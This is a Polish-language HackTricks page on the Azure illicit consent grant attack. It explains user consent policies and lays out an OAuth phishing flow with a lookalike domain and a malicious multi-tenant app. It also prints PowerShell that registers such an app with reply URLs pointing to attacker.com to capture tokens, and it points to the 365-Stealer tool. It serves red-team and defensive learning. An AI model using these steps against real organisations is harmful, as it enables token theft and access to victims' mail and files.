Az - Illicit Consent Grant

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Phishing Aplikacji OAuth

Aplikacje Azure proszą o zezwolenie na dostęp do danych użytkownika (podstawowe informacje, ale także dostęp do dokumentów, wysyłanie e-maili...). Jeśli zezwolone, zwykły użytkownik może udzielić zgody tylko na "Niski wpływ" uprawnień. W wszystkich innych przypadkach wymagana jest zgoda administratora. GA, ApplicationAdministrator, CloudApplication Administrator oraz niestandardowa rola zawierająca uprawnienia do udzielania uprawnień aplikacjom mogą udzielić zgody na poziomie najemcy.

Tylko uprawnienia, które nie wymagają zgody administratora, są klasyfikowane jako niski wpływ. Są to uprawnienia wymagane do podstawowego logowania openid, profil, e-mail, User.Read i offline_access. Jeśli organizacja pozwala na zgodę użytkownika dla wszystkich aplikacji, pracownik może udzielić zgody na aplikację, aby odczytać powyższe z ich profilu.

Dlatego atakujący mógłby przygotować złośliwą aplikację i za pomocą phishingu sprawić, że użytkownik zaakceptuje aplikację i ukradnie jego dane.

2 Typy Ataków na Nieuprawnione Udzielenie Zgody

  • Nieuwierzytelnione: Z zewnętrznego konta utwórz aplikację z uprawnieniami User.Read i User.ReadBasic.All na przykład, złów użytkownika, a będziesz mógł uzyskać dostęp do informacji katalogu.

  • Wymaga to, aby oszukany użytkownik mógł akceptować aplikacje OAuth z zewnętrznych środowisk!

  • Uwierzytelnione: Mając skompromitowanego podmiotu z wystarczającymi uprawnieniami, utwórz aplikację wewnątrz konta i złów jakiegoś uprzywilejowanego użytkownika, który może zaakceptować uprzywilejowane uprawnienia OAuth.

  • W tym przypadku możesz już uzyskać dostęp do informacji katalogu, więc uprawnienie User.ReadBasic.All nie jest już interesujące.

  • Prawdopodobnie interesują cię uprawnienia, które wymagają zgody administratora, ponieważ surowy użytkownik nie może udzielić aplikacjom OAuth żadnych uprawnień, dlatego musisz phishować tylko tych użytkowników (więcej informacji na temat ról/uprawnień, które nadają tę uprzywilejowaną pozycję później)

Sprawdź, czy użytkownicy mogą udzielać zgody

Poniższa komenda PowerShell jest używana do sprawdzenia konfiguracji zgody dla użytkowników w Azure Active Directory (Azure AD) dotyczącej ich zdolności do udzielania zgody na aplikacje:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Wyłącz zgodę użytkownika: To ustawienie zabrania użytkownikom udzielania uprawnień aplikacjom. Nie jest dozwolona zgoda użytkownika na aplikacje.

  • Użytkownicy mogą wyrazić zgodę na aplikacje od zweryfikowanych wydawców lub Twojej organizacji, ale tylko dla wybranych uprawnień: To ustawienie pozwala wszystkim użytkownikom wyrazić zgodę tylko na aplikacje opublikowane przez zweryfikowanego wydawcę i aplikacje zarejestrowane w Twoim własnym dzierżawie. Dodaje warstwę kontroli, pozwalając na zgodę tylko na określone uprawnienia.

  • Użytkownicy mogą wyrazić zgodę na wszystkie aplikacje: To ustawienie jest bardziej przychylne i pozwala wszystkim użytkownikom wyrazić zgodę na dowolne uprawnienia dla aplikacji, o ile te uprawnienia nie wymagają zgody administracyjnej.

  • Niestandardowa polityka zgody na aplikację: To ustawienie wskazuje, że obowiązuje niestandardowa polityka, która może być dostosowana do określonych wymagań organizacyjnych i może obejmować kombinację ograniczeń opartych na wydawcy aplikacji, uprawnieniach żądanych przez aplikację i innych czynnikach.

Zrozumienie Ataku na Nieuprawnioną Zgodę

W ataku na nieuprawnioną zgodę, atakujący oszukują końcowych użytkowników, aby udzielili uprawnień złośliwej aplikacji zarejestrowanej w Azure. Robią to, sprawiając, że aplikacja wydaje się być wiarygodna, prowadząc ofiary do nieświadomego kliknięcia przycisku "Zaakceptuj". W rezultacie Azure AD wydaje token dla strony atakującego, pozwalając im na dostęp i manipulowanie danymi ofiary, takimi jak czytanie lub wysyłanie e-maili i dostęp do plików, bez konieczności posiadania konta organizacyjnego.

Przebieg Ataku w Skrócie

Atak obejmuje kilka kroków skierowanych przeciwko ogólnemu przedsiębiorstwu. Oto jak mógłby się rozwinąć:

  1. Rejestracja Domeny i Hostowanie Aplikacji: Atakujący rejestruje domenę przypominającą zaufaną stronę, na przykład "bezpiecznalogowanie.com". Pod tą domeną tworzony jest subdomena (np. "nazwafirmy.bezpiecznalogowanie.com"), aby hostować aplikację zaprojektowaną do przechwytywania kodów autoryzacyjnych i żądania tokenów dostępu.

  2. Rejestracja Aplikacji w Azure AD: Następnie atakujący rejestruje Aplikację Wielodomenową w swoim Dzierżawie Azure AD, nadając jej nazwę firmy docelowej, aby wydawać się wiarygodny. Konfigurują przekierowanie URL aplikacji, aby wskazywało na subdomenę hostującą złośliwą aplikację.

  3. Konfiguracja Uprawnień: Atakujący konfiguruje aplikację z różnymi uprawnieniami interfejsu API (np. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Te uprawnienia, raz udzielone przez użytkownika, pozwalają atakującemu na wydobycie wrażliwych informacji w imieniu użytkownika.

  4. Rozpowszechnianie Złośliwych Linków: Atakujący tworzy link zawierający identyfikator klienta złośliwej aplikacji i udostępnia go wybranym użytkownikom, oszukując ich do wyrażenia zgody.

Wykorzystanie Narzędzi do Ataku

Atak może być ułatwiony za pomocą narzędzi takich jak 365-Stealer.

Przygotowanie Przed Atakiem:

Jeśli atakujący ma pewien poziom dostępu do użytkownika w organizacji ofiary, może sprawdzić, czy polityka organizacji pozwala użytkownikowi na akceptowanie aplikacji:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Do wykonania ataku, atakujący musiałby utworzyć nową aplikację w swoim Azure Tenant (w rejestracji aplikacji), skonfigurowaną z uprawnieniami:

User.ReadBasic.All znajduje się w Microsoft Graph w Delegated permissions. (Uprawnienia aplikacji zawsze będą wymagać dodatkowej aprobaty).

  • User.ReadBasic.All to uprawnienie, które umożliwi Ci odczytanie informacji wszystkich użytkowników w organizacji, jeśli zostanie udzielone.

  • Pamiętaj, że tylko role GA, ApplicationAdministrator, CloudApplication Administrator oraz niestandardowa rola zawierająca uprawnienie do udzielania uprawnień aplikacjom mogą udzielić zgody na poziomie dzierżawcy. Dlatego powinieneś wyłudzić dane logowania od użytkownika z jedną z tych ról, jeśli chcesz, aby zatwierdził aplikację wymagającą zgody administratora.

Możesz również utworzyć aplikację za pomocą wiersza poleceń (cli) za pomocą:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Sprawdź https://www.alteredsecurity.com/post/introduction-to-365-stealer, aby dowiedzieć się, jak to skonfigurować.

Zauważ, że uzyskany token dostępu będzie dla punktu końcowego graph z zakresem: User.Read i User.ReadBasic.All (żądane uprawnienia). Nie będziesz w stanie wykonywać innych działań (ale wystarczą one do pobrania informacji o wszystkich użytkownikach w organizacji).

Możesz również użyć tego narzędzia do przeprowadzenia tego ataku.

Post-Exploitation

Gdy już uzyskasz dostęp do użytkownika, możesz wykonać takie czynności jak kradzież poufnych dokumentów, a nawet przesyłanie zainfekowanych plików dokumentów.

References

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated